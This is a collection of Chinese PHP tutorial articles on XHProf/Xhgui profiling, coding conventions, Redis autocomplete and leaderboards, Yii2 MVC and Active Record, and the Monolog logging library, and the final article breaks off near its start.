一旦你确定应用存在性能问题，就需要分析其性能，实施改进，然后再一次进行基准测试，查看问题是否解决。每一次变更之后，你都该进行基准测试查看效果。如果你做了很多变更，却发现应用性能有所下降，你就无法确定具体是哪一次变更导致了这个问题。

下图是我定义的性能生命周期:



性能下降的一般原因

导致性能下降的一般原因中，有些相当出人意料。即便是像 PHP 这样的高级语言，代码的好坏也很少是问题的根源。在当今的硬件配置条件下，CPU 很少是性能限制的原因。常见的原因反而是:

数据存储


	PostgreSQL


	MySQL


	Oracle


	MSSQL


	MongoDB


	Riak


	Cassandra


	Memcache


	CouchDB


	Redis




外部资源


	APIs


	文件系统


	网络接口


	外部流程




糟糕的代码

选择哪一种性能分析器?

在 PHP 世界里，有两个截然不同的的性能分析器——主动和被动。

主动 VS 被动性能分析

主动分析器在开发过程中使用，由开发人员启用。主动分析器收集的信息比被动分析器多，对性能的影响更大。通常，主动分析器不能用在生产环境中。Xdebug 就是一种主动分析器。

因为无法在生产环境中使用主动分析器，Facebook 推出了一个被动分析器——XHprof。XHprof 是为了在生产环境中使用而打造的。它对性能的影响最小，同时收集足够的信息用于诊断性能问题。XHprof 和 OneAPM 都是被动分析器。

通常，Xdebug 收集的额外信息对于一般的性能问题分析并不必要。这意味着，被动分析器是用于不间断性能分析的更佳选择，即使是在开发环境中。

Xhprof + Xhgui

Xhprof 由 Facebook 开发的，包含一个基本的用户界面用于查看性能数据。此外，Paul Reinheimer 开发了 Xhgui 和一个增强的用户界面（UI）用于查看、比较和分析性能数据。

安装

安装 XHPROF

Xhprof 可通过 PECL 安装，步骤如下：

$pecl install xhprof-beta


该 pecl 命令将尝试自动更新你的 php.ini 设置。pecl 尝试更新的文件可以使用以下命令找到：

$ pecl config-getphp_ini


它会在指定的文件(如果有的话)顶部增加新的配置行。你可能想把他们移到一个更合适的位置。

一旦你编译了该扩展程序，您必须启用它。为此，您需要在 PHP INI 文件添加以下代码：

[xhprof]
extension=xhprof.so


之后，结合 Xhgui 就能轻松地执行性能分析与检查。

安装 XHGUI

安装 Xhgui，必须直接从 git 获取。该项目可以在 github 上找到，地址为 https://github.com/perftools/xhgui

Xhgui 要求:


	PHP 5.3+


	ext/mongo


	composer


	MongoDB(若只需要收集数据，则可选可不选；若需要数据分析，则为必选)




首先，克隆项目到任意位置。在基于 Debian 的 Linux 系统(例如 Ubuntu 等等)，可能是 /var/www。在 Mac OS X 系统，可能是 /Library/WebServer/Documents。

$cd /var/www
$ git clone https://github.com/perftools/xhgui.git
$ cd xhgui
$ php install.php


最后一个命令是运行 composer 以安装依赖并检查 xhgui 缓存目录的权限。如果失败，你可以手动运行 composer install。

下一步，你可能需要创建配置文件。这一步很容易实现，可以使用在 /path/to/xhgui/config/config.default.php 下的默认配置文件。

如果你在本地运行 mongodb ，没有身份验证，则可能不需要这样做。因为它将回退为默认值。而在多服务器环境中，你会需要一个所有服务器都能进行存储的远程 mongodb 服务器，并进行恰当的配置。

为提高 MongoDB 的性能，你可以运行以下指令以添加索引：

$ mongo

use xhprof



其他配置

如果你不想在生产环境中安装 mongo ,或无法让 Web 服务器访问 mongo 服务器，您可以将性能分析数据保存在磁盘中，再导入到本地MongoDB 供以后分析。

为此，请在 config.php 中进行以下修改：

<?php
'save.handler' = 'file',
'save.handler.filename' => '/path/to/xhgui/xhprof-' .uniqid("", true). '.dat',
?>


改变文件中的 save.handler，然后取消批注 save.handler.filename ，为其赋一个恰当的值。 

注意：默认每天只保存一个分析文件。

一旦分析数据的准备就绪，你就可以使用 xhgui 附带的脚本导入之：

$ php /path/to/xhgui/external/import.php /path/to/file.dat


在此之后的步骤都相同。

运行 Xhgui

Xhgui 是以 PHP 为基础的 Web 应用程序，你可以以 /path/to/xhgui/webroot为根文件，设置一个标准的虚拟主机。

或者，你可以简单地使用 PHP 5.4 + cli-server 例如:

$cd/path/to/xhgui
$ php -S0:8080-t webroot/


这将使 Xhgui 在所有网络接口都可通过 8080 端口进行通信。

运行性能分析器

运行分析器时，你需要在待分析的所有页面包含 external/header.php 脚本。为此，你可以在 PHP ini 文件设置 auto_prepend_file 。你既可以直接在公共 INI 文件进行设置，也可以限制到单一的虚拟主机。

对于 Apache 服务器，添加以下代码:

php_admin_value auto_prepend_file "/path/to/xhgui/external/header.php"


对于 Nginx 服务器，在服务器配置中添加以下代码:

fastcgi_param PHP_VALUE "auto_prepend_file=/path/to/xhgui/external/header.php";


如果您使用 PHP 5.4 + cli-server(PHP - S)，则必须通过命令行标记进行设置:

$ php -S 0:8080 -dauto_prepend_file=/path/to/xhgui/external/header.php


默认情况下,分析器运行时只分析(大约)1%的请求。这是由以下 external/header.php 代码控制的:

<?php
if (rand(0, 100) !== 42) {
   return;
}
?>


如果你想分析每一个请求（例如，在开发阶段），你可以将这段代码注释掉。如果你想让分析10%的请求，你可以做如下改动：

<?php
if (rand(0, 10) !== 4) {
   return;
}
?>


这允许你对一小部分用户请求进行分析，而不过多影响单个用户或太多用户。

如果你想在性能分析时进行手动控制，你可以这样做：

<?php
if (!isset($_REQUEST['A9v3XUsnKX3aEiNsUDZzV']) && !isset($_COOKIE['A9v3XUsnKX3aEiNsUDZzV'])) {
  return;
} else {
  // Remove trace of the special variable from REQUEST_URI
  $_SERVER['REQUEST_URI'] = str_replace(array('?A9v3XUsnKX3aEiNsUDZzV', '&A9v3XUsnKX3aEiNsUDZzV'), '', $_SERVER['REQUEST_URI']);

  setcookie('A9v3XUsnKX3aEiNsUDZzV', 1);
}

if (isset($_REQUEST['no-A9v3XUsnKX3aEiNsUDZzV'])) {
  setcookie('A9v3XUsnKX3aEiNsUDZzV', 0, time() - 86400);
  return;
}
?>


这段代码会检查一个随机命名的 GET/POST/COOKIE  变量（在此例中为：A9v3XUsnKX3aEiNsUDZzV），同时创建一个同名的 Cookie ，用于分析该请求的整个过程，例如：表单提交后的重定向，Ajax 请求等等。

此外，它允许一个名为 no-A9v3XUsnKX3aEiNsUDZzV 的 GET/POST 变量来删除 cookie ，停止分析。

当然，我们欢迎大家尝试使用 OneAPM 来为您的 PHP 和 Java 应用做免费的性能分析。OneAPM 独有的探针能够深入到所有 PHP 和 Java 应用内部完成应用性能管理和监控，包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。 OneAPM 可以追溯到性能表现差的 SQL 语句 Traces 记录、性能表现差的第三方 API、Web 服务、Cache 等等。

在下一篇文章中，我们将深入研究 Xhgui ，以及用于展示、比较 xhprof 数据的用户界面 。


 我的php编码规范

作者：phplife

来源： 我的php编码规范



                    
为什么我们要培养自己的编码规范？

我们写代码的时候，一个好的编码规范，对我们来说能够起到很多意向不到的效果。至少会有一下的好处：
1、提高我们的编码效率。整齐划一的代码方便我们进行复制粘贴嘛！
2、提高代码的可读性。
3、显示我们专业。别人看到了我们的代码，发现整个代码的书写流程都整齐划一，瞬间逼格就上去了！
4、方便团队协同工作。大家使用同一的规范，这样就消除了五花八分的书写方式，同一协调！

编码规范包含两大块，代码规范和注释规范

其实我们所写的php脚本，其实也就是由两大块组成的，即对代码的书写、对代码的注释！不同的框架，甚至不同的公司，对这方面都会有所不同，这里只是已将之言，仅仅是对自己的书写规范进行一个总结！希望能对其他的朋友以启示

1、代码的书写规范

文件夹的命名：
文件夹同一使用小写字母。如存放控制器的文件夹，直接命名为controller即可

文件的命名：
如果是类文件的话，那么文件的命名应该同类名称保持一致，统一使用大驼峰。如Session.class.php , 对应类名称为Session，
如果是普通的工具脚本，那么统一使用小驼峰，如common.php

类名称的命名：
类名称同一使用大驼峰，Cookie类

方法名的命名：
统一使用小驼峰，一般使用 动词 + 名次 的形式来描述该方法的功能，如sendMessage,发送短信。
在面向对象中，遵循同样的规则，但是个别地方有所区别：
public getUserName()
protected _getTotalAmount()
private _setBlanceAmount()

变量的命名规范：
关于变量，我们需要多说几点：
1、无论在面向对象还是非面向对象的语法中，变量统一使用小驼峰，如：$workYears。
但是在面向对象中又有所不同，public 、 protected 、 private ,protected或者private属性的时候，前面加上了 _ 作为区别

public $startPosition = 1;

protected $_salaryAmount =1000; 

private $_sex = 'formale';


2、如果是常量的话，统一使用大写，中间使用下划线进行分割。

define('CURRENT_SCRIPT', 'index.php');

const TRANSACTION_TYPE = 'income';


3、全局变量，使用大驼峰，前缀加上 _ ,所有的单词首字母大写。因为知道一个变量的作用域是非常重要的，所以局部变量和全局变量应该很明显的进行分开！

$_System_Config;

$_Root_Path;


缩进符
关于编码的缩进符号，我们统一使用制表符缩进！也许有的人会问为什么不适用空格缩进的呢？
原因很简单，大部分的编辑器都支持制表符等于多少个空格，而使用空格就没得调了！

运算符号
所有的两元运算符号，都应该前后使用空格进行
$name = 'zero';
$age > 18 ? 'adult' : 'children';

常见的流程语句规划
我们约定，所有的流程语句的花括号都单独占据一行。理由：如果遇到较为复杂的业务逻辑，花括号会出现很多的嵌套，这样一来我们会混淆个个对应的花括号！
1、分支语句

if($age >= 18 && $age <= 30) 
{
    echo 'young man';
}
else if($age > 30 && $age <= 60)
{
    echo 'middle aged';
}
else
{
    echo 'old man';
}

//下面这段代码高手我们一个问题，在if语句中，即使在可以不要花括号的情况下，花括号也是要写上的
if($age > 60)
{
    echo 'I am very old';
}



switch($status)
{
    case 'forbiden'：
        echo 'login forbidden';
        break;
       
    case 'normal':
        echo 'login in';
        break;
        
    default:
        echo 'status is wrong' ：
        break;
}


2、循环语句

while($condition)
{
    statesments......;
}



foreach($arrayList as $arrayKey => $arrayItem)
{
    states......;
}


do
{
    statements......;    
}
while($condition)




for($start; condition; changenumber)
{
    statements......;
}



2、注释的书写规范

很多人说好的代码是不需要注释的，其实，个人认为这是一句很扯淡的话（也可能他是对的，除非整个团队就他一个人，他包办了一切，不用看别人的代码）。

个人的观点是：多写注释，无论是对团队的其他人，还是对自己都是非常友好的！

根据个人的经验来看，注释至少有以下几个作用：
1、有利于提高代码的可读性，毕竟读你的注释要比读你的代码要容易的多！
2、有利于规划自己的代码布局！之所以这么说，是因为和代码注释的种类有关。“有利于代码的布局”，这种看着有点悬的事，光说是说不明白的，我们需要实实在在的例子做支撑！
3、由于我们的注释规范是按照phpdocumentor的要求，所以通过这个工具，还可以生成一份对代码的总体说明，相当于一个使用说明书！g

代码注释的种类
1、块注释
块注释，个人认为主要用在了三个地方。对php脚本的描述、对一个大的功能模块的描述、在一行之内不能写完注释的时候，也应该放在块注释中

2、行注释
行注释，个人认为他是配合块注释进行工作的！一般用于描述一个大的功能模块的具体细节！

实战的案例
关于phpdocumentor语法的具体使用细节，这里就不多说了，官网上说的再清楚不过了

从上面的例子中我们可以看一下代码的布局大致是怎么回事，但是还需要我们在实践中慢慢摸索


 使用 Redis 实现自动补全功能

作者：Mr_Jing

来源： 使用 Redis 实现自动补全功能



                    
自动补全也可以称为自动提示，类似于在百度搜索的输入框中输入一个字符，下面会提示多个关键词供参考。


假设：


输入 a，会自动提示 apple、application、acfun、adobe；

输入 ap，提示 apple、application；

输入 ac，提示 acfun；

输入 ad，提示 adobe。


看到这个功能需求，很简单的方式就是在数据库中直接使用 SQL LIKE 操作符来匹配，但是性能肯定是不行的。使用 Redis 倒是一个很不错的方案。


Redis 是 KV 型数据库，查询都是基于 key 的，key 值必须具有唯一性。


虽然通过 key 的通配符方式也可以实现自动提示，但是这种方法在 Redis 中数据量较大时也存在性能问题。


回到上面的话题，本质就是我希望通过 a 获取 apple、application、acfun、adobe，通过 ap 获取 apple、application，以此类推。那么，需要查询的值就应该作为 key，查询结果应该作为 value。遵循这个思路，可以利用 Redis 的集合存储这些值。为什么不用列表，而使用集合？因为我希望查询出来的词不会重复，而集合的特性就是元素唯一，性质决定用途，所以就使用集合。一般情况下，查询出来的词也会按照热度频率什么的排序，需要排序的话，就要使用 Redis 的有序集合。


以 word: 为前缀，方便管理和区别（保证唯一性），后面跟上要查询的值，例如：word:a（其实这样还是无法确保唯一性，就假设这个 key 在 Redis 中是唯一的）。

向集合中添加 关键词：


bashZADD word:a 0 apple 0 application 0 acfun 0 adobe
ZADD word:ap 0 apple 0 application
ZADD word:app 0 apple 0 application
ZADD word:appl 0 apple 0 application
ZADD word:apple 0 apple
ZADD word:appli 0 application
……



上面还没有添加完成，完整添加的代码如下：


php<?php

namespace Blog\Redis;

use \Redis;


class Suggest {

    const PREFIX = 'word:';

    protected $redis = null;


    public function __construct(Redis $redis) {
        $this->redis = $redis;
    }


    public function add($word) {
        $len = mb_strlen($word, 'UTF-8');
        for ($i = 1; $i <= $len; $i++) {
            $sub = mb_substr($word, 0, $i, 'UTF-8');
            $this->redis->zAdd(self::PREFIX . $sub, 0, $word);
        }
    }

}




看以上代码，应该发现我给有序集合每个元素的 score 为 0，这个意义何在？不应该给每个词不同的 score，以便给搜索结果排序吗？确实如此，但是这样会存在一个问题：某一个词会出现在多个集合中，如果该词的热点要增加，那么就需要同时更新多个集合中该词的 score。这显然是不合理的。


那么到底应该怎么办哩？再创建一个有序集合，专门用于存放这些词和它们的 score。最后，将查询结合和这个记录热度的集合做交集，就能得出按热度排列后的结果。


设置这些词的热度：


bashZADD word_scores 100 apple 80 adobe 70 application 60 acfun



交集：


bashZINTERSTORE word_result 2 word_scores word:a WEIGHTS 1 1
ZRANGE word_result 0 -1 withscores



具体 PHP 实现代码如下，仅供参考：


php<?php

namespace Blog\Redis;

use \Redis;


class Suggest {

    const PREFIX = 'word:';
    const WORDS_PREFIX = 'word_scores';
    const RESULT_PREFIX = 'word_result';

    protected $redis = null;


    public function __construct(Redis $redis) {
        $this->redis = $redis;
    }


    public function add($word) {
        $len = mb_strlen($word, 'UTF-8');
        for ($i = 1; $i <= $len; $i++) {
            $sub = mb_substr($word, 0, $i, 'UTF-8');
            $this->redis->zAdd(self::PREFIX . $sub, 0, $word);
        }
    }


    public function incScore($word, $score = 1) {
        return $this->redis->zIncrBy(self::WORDS_PREFIX, $score, $word);
    }


    public function search($keyword, $stop = 5) {
        $this->redis->zInter(self::RESULT_PREFIX, array(self::PREFIX . $keyword, self::WORDS_PREFIX), array(1, 1));
        return $this->redis->zRevRange(self::RESULT_PREFIX, 0, $stop, true);
    }

}




 Yii2的MVC新特性
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这篇文章主要来看看在Yii2之中的MVC，当然，最核心的思想还是跟Yii1.1一样的，但是我今天是想来看看在Yii2里的MVC跟Yii1.1有什么不同，或者应该直接说，Yii2的改进在哪里，以至于使得官方敢向着最好的PHP框架目标进击！


废话就不多说了，下面来看看分别M-V-C这三个部分：


模型(Model)：


Yii之中的Models都继承与yii\base\Model,通常是用来存储数据并对这些数据设置一些特定的验证规则(rules())。每一个Model Class其实很多时候都是跟一些更加核心的类（比如Active Record）配合着使用，而在Yii2中，Active Record的增强也让我很惊喜，后续我打算在写一遍文章来专门介绍Yii2的Active Record。


在每一个Model当中，attributes和attributes label其实跟Yii1.1差不多，但让我特别值得拍手称快的是在Yii2中，除了rules()函数之外，还有scenarios()函数来增强Yii2的Model验证，rules()函数具体担当为Model的每一个attributes进行过滤验证，而scenarios()则可以根据不同的场景需要来声明哪一个attributes是无需验证的(Which means safe here);我们来看下面的例子:


<?php
namespace app\models;

use yii\db\ActiveRecord;

class User extends ActiveRecord {

    public function rules()
    {
        return [
            // 当相应的field是 "safe"的时候，rule就起验证作用
            ['username', 'string', 'length' => [4, 32]],
            ['first_name', 'string', 'max' => 128],
            ['password', 'required','on' => 'signup'],
        ];
    }

    public function scenarios()
    {
        return [

            'signup' => ['username', 'password'],
            'update' => ['username', 'first_name'],
        ];
    }
}



这个例子中的password field只分配给Model中的signup 场景（scenario），所以有关password的验证只在signup这个scenario起作用，个人觉得这个是Yii2的Model中一个很牛逼的升级，因为这种机制的产生使得我们在开发的时候对一些attributes的验证和分配有了更灵活的掌控感，大大提高我们对表单可用性和场景化应用的设计开发。


多个attributes的分配也有一些细微的变化，我们之前在Yii1.1的时候，经常会这样：


if (isset($_POST['userModel']))
{
   $model->attributes = $_POST['userModel'];
}



而在Yii2中，你只需要这样：


$model->load($_POST);



这里的关键就是load()函数会自动检查在$model->formName().定义的$_POST的索引


视图(Views)


在Yii2的Views中也有一些小小的变化，最明显的变化莫过于render()函数了，现在它会返回一个值，而不是像Yii1.1的那样输出(output)值，比如：


public function actionIndex()
{
    $models = Posts::find()->all();
    echo $this->render('index', array('models' => $models));
}



看到了没，render的内容现在可以直接用echo来输出了，先不管这是怎么回事（更多细节我会在下面的Controller部分里讲解）。还有一点就是，Yii2还有官方的扩展(official extensions)来支持一些常见的模板引擎如：smarty，twig等。喜欢这些模版引擎的同学，你们有福气了。


在Views还有一个值得注意的地方就是$this变量，在Yii1.1中,$this可以说就是链接Controller和Views的中介；而在Yii2中，$this代表的是yii\web\View组件，这使得我们可以在view当中设置一些很有用的Views中的属性比如：网页的title，meta等，甚至是注册js 脚本也是OK的，是不是有一种很直观的感受，跟写原生的html一样，我想要什么title就要什么，That is cool!


控制器(Controllers)


首先直接来看一下代码:


<?php

namespace app\controllers;

use yii\web\Controller;

class SiteController extends Controller
{
    public function actionIndex()
    {
      // 这会 render来自 "views/site/index.php"的视图，用过Yii1.1的同学应该都很熟悉
        return $this->render('index');
    }

    public function actionTest()
    {
        // 只在浏览器中打印 "test" 字符串，cool
        return 'test';
    }
}



这里你有没有看到use yii\web\Controller?没错，Yii2中已充分开始使用PHP命名空间，当初在Yii1.1的时候一直听说Yii2会使用更高级的PHP特性来完全重写，果然啊，点个赞。而且现在的Controller中，每个输出变为了返回，就像上面的actionTest()一样，你现在可以完全返回一个字符串了，有没有一丝丝Laravel的影子？不过，你在Yii2的Controller中只需认识这些新特性基本就足矣，因为一些更基本的东西跟Yii1.1是一样的撒，完全不用怕，（我是说如果你上手过Yii1.1的话）。


写在最后


正如你在这篇文章看到的一样，在Yii2中几乎所有的MVC组件变化都使得Yii2更好用了，我相信这会带给开发者更好的的开发体验，毕竟Yii2中看到了一丝丝优雅的样子！所以，各位还在苦恼应该上手哪个PHP框架的同学们，请不要犹豫，Yii2就是一个极好的选择。狂点这里:http://www.yiiframework.com/


[原文来自] http://www.jellybool.com/post/yii2-mvc-components
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Monolog是PHP的一个日志类库。相比于其他的日志类库，它有以下的特点：



	功能强大。可以把日志发送到文件、socket、邮箱、数据库和各种web services。

	遵循PSR3的接口规范。可以很轻易的替换成其他遵循同一规范的日志类库。

	良好的扩展性。通过Handler、Formatter和Processor这几个接口，可以对Monolog类库进行各种扩展和自定义。



基本用法


安装最新版本：


composer require monolog/monolog



要求PHP版本为5.3以上。


php<?php

use Monolog\Logger;
use Monolog\Handler\StreamHandler;

// 创建日志频道
$log = new Logger('name');
$log->pushHandler(new StreamHandler('path/to/your.log', Logger::WARNING));

// 添加日志记录
$log->addWarning('Foo');
$log->addError('Bar');




核心概念


每一个Logger实例都包含一个频道名(channel)和handler的堆栈。当你添加一条记录时，记录会依次通过handler堆栈的处理。而每个handler也可以决定是否把记录传递到下一个堆栈里的下一个handler。


通过handler，我们可以实现一些复杂的日志操作。例如我们把StreamHandler放在堆栈的最下面，那么所有的日志记录最终都会写到硬盘文件里。同时我们把MailHandler放在堆栈的最上面，通过设置日志等级把错误日志通过邮件发送出去。Handler里有个$bubble属性，这个属性定义了handler是否拦截记录不让它流到下一个handler。所以如果我们把MailHandler的$bubble参数设置为false，则出现错误日志时，日志会通过MailHandler发送出去，而不会经过StreamHandler写到硬盘上。


Logger可以创建多个，每个都可以定义自己的频道名和handler堆栈。handler可以在多个Logger中共享。频道名会反映在日志里，方便我们查看和过滤日志记录。


如果没有指定日志格式（Formatter），Handler会使用默认的Formatter。


日志的等级不能自定义，目前使用的是RFC 5424里定义的8个等级：debug、info、notice、warning、error、critical、alert和emergency。如果对日志记录有其他的需求，可以通过Processo对日志记录添加内容。


日志等级



	
DEBUG (100): 详细的debug信息。

	
INFO (200): 关键事件。

	
NOTICE (250): 普通但是重要的事件。

	
WARNING (300): 出现非错误的异常。

	
ERROR (400): 运行时错误，但是不需要立刻处理。

	
CRITICA (500): 严重错误。

	
EMERGENCY (600): 系统不可用。



用法详解


多个handler


php<?php

use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\FirePHPHandler;

// 创建Logger实例
$logger = new Logger('my_logger');
// 添加handler
$logger->pushHandler(new StreamHandler(__DIR__.'/my_app.log', Logger::DEBUG));
$logger->pushHandler(new FirePHPHandler());

// 开始使用
$logger->addInfo('My logger is now ready');



第一步我们先创建一个Logger实例，传入的是频道名，这个频道名可以用于区分多个Logger实例。


实例本身并不知道如何处理日志记录，它是通过handler进行处理的。handler可以设置多个，例如上面的例子设置了两个handler，可以对日志记录进行两种不同方式的处理。


需要注意的是，由于handler是采用堆栈的方式保存，所以后面添加的handler位于栈顶，会首先被调用。


添加额外的数据


Monolog有两种方式对日志添加额外的信息。


使用上下文


第一个方法是使用$context参数，传入一个数组：


php<?php

$logger->addInfo('Adding a new user', array('username' => 'Seldaek'));



使用processor


第二个方法是使用processor。processor可以是任何可调用的方法，这些方法把日志记录作为参数，然后经过处理修改extra部分后返回。


php<?php

$logger->pushProcessor(function ($record) {
    $record['extra']['dummy'] = 'Hello world!';

    return $record;
});



Processor不一定要绑定在Logger实例上，也可以绑定到某个具体的handler上。使用handler实例的pushProcessor方法进行绑定。


频道的使用


使用频道名可以对日志进行分类，这在大型的应用上是很有用的。通过频道名，可以很容易的对日志记录进行刷选。


例如我们想在同一个日志文件里记录不同模块的日志，我们可以把相同的handler绑定到不同的Logger实例上，这些实例使用不同的频道名：


php<?php

use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\FirePHPHandler;

// 创建handler
$stream = new StreamHandler(__DIR__.'/my_app.log', Logger::DEBUG);
$firephp = new FirePHPHandler();

// 创建应用的主要logger
$logger = new Logger('my_logger');
$logger->pushHandler($stream);
$logger->pushHandler($firephp);

// 通过不同的频道名创建一个用于安全相关的logger
$securityLogger = new Logger('security');
$securityLogger->pushHandler($stream);
$securityLogger->pushHandler($firephp);



Handler


Monolog内置很多很实用的handler，它们几乎囊括了各种的使用场景，这里介绍一些使用的：



	
StreamHandler：把记录写进PHP流，主要用于日志文件。

	
SyslogHandler：把记录写进syslog。

	
ErrorLogHandler：把记录写进PHP错误日志。

	
NativeMailerHandler：使用PHP的mail()函数发送日志记录。

	
SocketHandler：通过socket写日志。



php<?php

use Monolog\Logger;
use Monolog\Handler\SocketHandler;

// Create the logger
$logger = new Logger('my_logger');

// Create the handler
$handler = new SocketHandler('unix:///var/log/httpd_app_log.socket');
$handler->setPersistent(true);

// Now add the handler
$logger->pushHandler($handler, Logger::DEBUG);

// You can now use your logger
$logger->addInfo('My logger is now ready');




	
AmqpHandler：把记录写进兼容amqp协议的服务。

	
BrowserConsoleHandler：把日志记录写到浏览器的控制台。由于是使用浏览器的console对象，需要看浏览器是否支持。

	
RedisHandler：把记录写进Redis。

	
MongoDBHandler：把记录写进Mongo。

	
ElasticSearchHandler：把记录写到ElasticSearch服务。

	
BufferHandler：允许我们把日志记录缓存起来一次性进行处理。



更多的Handler请看 https://github.com/Seldaek/monolog#handlers。


Formatter


同样的，这里介绍几个自带的Formatter：



	
LineFormatter：把日志记录格式化成一行字符串。

	
HtmlFormatter：把日志记录格式化成HTML表格，主要用于邮件。

	
JsonFormatter：把日志记录编码成JSON格式。

	
LogstashFormatter：把日志记录格式化成logstash的事件JSON格式。

	
ElasticaFormatter：把日志记录格式化成ElasticSearch使用的数据格式。



更多的Formatter请看 https://github.com/Seldaek/monolog#formatters。


Processor


前面说过，Processor可以为日志记录添加额外的信息，Monolog也提供了一些很实用的processor：



	
IntrospectionProcessor：增加当前脚本的文件名和类名等信息。

	
WebProcessor：增加当前请求的URI、请求方法和访问IP等信息。

	
MemoryUsageProcessor：增加当前内存使用情况信息。

	
MemoryPeakUsageProcessor：增加内存使用高峰时的信息。



更多的Processor请看 https://github.com/Seldaek/monolog#processors。


扩展handler


Monolog内置了很多handler，但是并不是所有场景都能覆盖到，有时需要自己去定制handler。写一个handler并不难，只需要实现Monolog\Handler\HandlerInterface这个接口即可。


下面这个例子实现了把日志记录写到数据库里。我们不需要把接口里的方法全部实现一次，可以直接使用Monolog提供的抽象类AbstractProcessingHandler进行继承，实现里面的write方法即可。


php<?php

use Monolog\Logger;
use Monolog\Handler\AbstractProcessingHandler;

class PDOHandler extends AbstractProcessingHandler
{
    private $initialized = false;
    private $pdo;
    private $statement;

    public function __construct(PDO $pdo, $level = Logger::DEBUG, $bubble = true)
    {
        $this->pdo = $pdo;
        parent::__construct($level, $bubble);
    }

    protected function write(array $record)
    {
        if (!$this->initialized) {
            $this->initialize();
        }

        $this->statement->execute(array(
            'channel' => $record['channel'],
            'level' => $record['level'],
            'message' => $record['formatted'],
            'time' => $record['datetime']->format('U'),
        ));
    }

    private function initialize()
    {
        $this->pdo->exec(
            'CREATE TABLE IF NOT EXISTS monolog '
            .'(channel VARCHAR(255), level INTEGER, message LONGTEXT, time INTEGER UNSIGNED)'
        );
        $this->statement = $this->pdo->prepare(
            'INSERT INTO monolog (channel, level, message, time) VALUES (:channel, :level, :message, :time)'
        );
    }
}



然后我们就可以使用它了：


php<?php

$logger->pushHandler(new PDOHandler(new PDO('sqlite:logs.sqlite'));

// You can now use your logger
$logger->addInfo('My logger is now ready');



参考


https://github.com/Seldaek/monolog


 Yii2 优雅的 Active Record

作者：JellyBool

来源： Yii2 优雅的 Active Record



                    
这篇文章我们来看看在 Yii2 之中的 Active Record，为啥要将 Active Record 单独出来说呢？因为个人认为这是 Yii（不管是 Yii1.1 还是 Yii2）最强大的一部分功能之一，何况又遇上在 Yii2 中其实对 Active Record的改进还是比较多的，所以我们就通过这篇文章来瞅瞅 Yii2 的 Active Record 新特性。


1.支持更多的数据库


Yii2的Active Record首先值得称道的一点就是它已经可以支持更多的数据库，包括一些NoSQL类型的数据库如MongoDB，还有一些流行的存储后端如： elasticsearch, redis, Sphinx search也得到很好的支持，现在真是随意你怎么玩数据了。因为我们在想换一个存储后端的时候可以轻松地在配置文件里切换过来，完全不用去修改Active Record的代码，酷毙！


2.在Yii2中使用Active Record查询数据


在Yii2中使用Active Record的时候，第一个最直观的感受可能就是model()调用已经跟Yii1.1变得不同了，可以说所有的查询函数都源自 find() 或 findBySql()这两个函数，所以像在Yii1.1中的Post::model()->findAll()等函数就没有了。这里对Active Record的查询模块介绍都是很简单的，当然也可能包含一些个人的主观因素在里面，不说废话，如果你能看看下面这些来自官方文档中Active Record介绍的代码片段你就会变得很清晰。


<?php
    // 检索出所有的customer然后根据id排序:
    $customers = Customer::find()
    ->where(['status' => Customer::STATUS_ACTIVE])
    ->orderBy('id')
    ->all();

    // 查找出id为1的customer（注意时一个）:
    $customer = Customer::find()
        ->where(['id' => 1])
        ->one();

    // 返回 *active* customers的数量:
    $count = Customer::find()
        ->where(['status' => Customer::STATUS_ACTIVE])
        ->count();

    // 找到所有将id作为索引的customer:
    $customers = Customer::find()->indexBy('id')->all();
    // $customers array is indexed by customer IDs

    // 用查询语句查找所有的customer:
        $sql = 'SELECT * FROM customer';
        $customers = Customer::findBySql($sql)->all();



还有一个值得注意的地方是，在Yii1.1中使用的findByPk()和find()在Yii2中有了新的替代者，


<?php
    // 查找一个id为1的customer:
    $customer = Customer::findOne(1);

    // 找到id为1的 *active* customer:
    $customer = Customer::findOne([
    'id' => 1,
    'status' => Customer::STATUS_ACTIVE,
    ]);

    // 查找出id为1，或2，或3的所有customer:
    $customers = Customer::findAll([1, 2, 3]);

    // 找到状态为 "deleted" 的customer:
    $customer = Customer::findAll([
    'status' => Customer::STATUS_DELETED,
    ]);



3.关联(Relations)


在Yii2中，不再存在relations()函数，而是使用getters的方式返回一个ActiveQuery对象


class Post extends yii/db/ActiveRecord{

   public function getComments()
   {
      return $this->hasMany('Comment', array('post_id' => 'id'));
   }
}



但是关联性还是可以使用类似$game->players，不过在Yii2你可以根据自己的情况来自定义你的查询环境（查询语句），比如：


$comments = $post->getComments()->andWhere('approve=1')->all();



高级特性：


但目前为止如果你觉Active Record还是没法说服觉得它很强大，那么你可以好好看看这里。我会在这里罗列一些在Yii2中Active Record的(我觉得还不错的)细微的小改进，不过也是很贴心，因为在开发过程中，你可能更喜欢将查询到的数据存到一个数组里，这样不仅会方便我们在Views中的输出，也在一定程度上节约了内存，于是，我在这里推荐你调用asArray()这个函数


$posts = Post::find()->asArray()->all();



说到内存，上面的函数还是不能满足你的需求？全部查出来还是太大了？你想限制一下内存？OK，在Yii2中，你可以使用batch()函数来限制你的查询请求;PS:batch就是批量的意思


// 一次查询10个
foreach (Post::find()->batch(10) as $posts) {
    // $posts 是一个包含10个(有可能更少)Post对象的数组
}

// 查询10个的同时一个一个输出
foreach (Post::find()->each(10) as $post) {
    // $post 是一个Post对象
}

// 跟with一起使用
foreach (Post::find()->with('comments')->each() as $post) {
}



另外，Yii2中已经自动支持数据库中的事务管理(transactions),所以你完全不用担心在使用数据查询，更新的时候是否开启了事务管理，Yii2已经帮你做好了这一切。


写在最后：


这些就是我在学习Yii2中总结的一些有关Active Record的改进，不得不说，Yii2的这些改进使得我们的开发更友好，更优雅了，仅是Active Record，就可以让人用的很爽，所以，上手Yii2吧


原文来自:http://www.jellybool.com/post/yii2-active-record


 使用 Redis 实现排行榜功能

作者：Mr_Jing

来源： 使用 Redis 实现排行榜功能



                    
排行榜功能是一个很普遍的需求。使用 Redis 中有序集合的特性来实现排行榜是又好又快的选择。


一般排行榜都是有实效性的，比如“用户积分榜”。如果没有实效性一直按照总榜来排，可能榜首总是几个老用户，对于新用户来说，那真是太令人沮丧了。


首先，来个“今日积分榜”吧，排序规则是今日用户新增积分从多到少。


那么用户增加积分时，都操作一下记录当天积分增加的有序集合。

假设今天是 2015 年 04 月 01 日，UID 为 1 的用户因为某个操作，增加了 5 个积分。

